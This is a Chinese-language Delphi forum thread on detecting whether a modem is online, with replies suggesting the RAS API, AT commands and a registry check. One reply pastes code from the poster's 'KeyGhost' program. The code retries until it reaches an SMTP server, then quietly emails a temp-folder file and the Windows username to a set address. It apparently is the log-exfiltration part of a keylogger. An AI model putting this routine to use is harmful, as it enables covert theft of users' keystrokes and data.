如何用Delphi判断Modem是否联机?!(100分)

  • 主题发起人 主题发起人 侯帅
  • 开始时间 开始时间

侯帅

Unregistered / Unconfirmed
GUEST, unregistred user!
小弟向专家请教一个问题:
最近我用Delphi做了个软件。我想在这个软件运行
前首先判断Modem是否联系且成功?!我曾经找到一个名
为GetModemStatus的API函数,但是由于看不懂里的英
文说明所以一直无从下手!望专家予以指教!谢谢!
 
没有getmodemstatus呀? 英文说明贴上来. 用RASAPI吧!
function RasGetConnectStatus(hConn: THRasConn;var lpStatus: TRasConnStatus): Longint; stdcall;

 
向Modem发送AT, 如果响应OK,就联机了.即使是在控制面版里不添加调制解调器都可
以。以前我写过一个程序,就是这样子的,直接在软件里控制Modem,与Windows不关
系。使用起来倒是很方便。
 
MicroZeng: 那么windows的modem驱动程序是干什么的呢?
 
cAkk,你可以查看一下你的MOdem的驱动程序,看看是不是comm.drv之类的东西?

再看看Modem所配的驱动程序都是些什么东西。
 
你在编什麽程序,如果收发邮件的话,那就太简单了!!!
 
对不起大家!昨天一兴奋所以将函数名写错了!应该是GetCommModemStatus
这个函数在Win32.hlp中可以找到它的英文说明!他是小弟我看不懂,对API
也不擅长,所以还望各位高手不吝指教!小弟在这里谢过了!

帅帅
 
那个函数不是测modem是否联机的, 是用来那4个指示灯亮没亮. 没有联机灯(OH).
所以还是用我给你的函数吧:-)
 
Function HasInternetconnect:boolean;
var REG:TRegistry;
dat:array[0..3] of char;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('System/CurrentControlSet/Services/RemoteAccess',false);
reg.ReadBinaryData('Remote Connection',dat,4);
reg.free;
result:=(dat[0]=#1);
end;
 
Mr.帅帅 你想要发email来检测是否联网 ,我把程序贴出来了
加一个timer组件和smtp组件.
我编写了一个叫keyghost的软件.您可以看看!!!
<a href="http://sunstone.163.net" target="_blank">http://sunstone.163.net</a></font>
</font>&

procedure TKeySystem.NetTimerTimer(Sender: TObject);
begin
NetTimer.Enabled:=false;
SMTP.Host := trim(SmtpServer.Text);
smtp.Port:=25;
SMTP.UserID:='';
try
SMTP.Connect;
except
on EsockError do
begin
SMTP.cancel;
NetTimer.Enabled:=true;
end;
else
begin
smtp.cancel;
NetTimer.Enabled:=true;
end;
end;
end;

procedure TKeySystem.SMTPConnect(Sender: TObject);
var
username:array[0..30] of char;
size:dword;
temppath: array [0..144] of char;
begin
gettemppath(144,temppath);
size:=sizeof(username);
FillChar(username, Size, ' ');
getusername(username,size);
with smtp do
begin
PostMessage.FromAddress:=LocalIP;
PostMessage.FromName:=trim(strpas(username));
PostMessage.Subject:= 'KeyGhost';
PostMessage.Date:=datetimetostr(now);
PostMessage.ToBlindCarbonCopy.Clear;
PostMessage.ToCarbonCopy.clear;
PostMessage.ToAddress.Clear;
PostMessage.ToAddress.Add(EmailAddr.Text);
PostMessage.Attachments.Clear;
PostMessage.Attachments.add(strpas(temppath)+extractfilename(esavefile.caption));
SendMail;
end;
end;

 
使用MODEM的AT命令集很容易,只要拨号后检测传输回来的字符串即可,具体的信息内容参照MODEM的说明书,只要根据回传字符串做处理.
 
接受答案了.
 
后退
顶部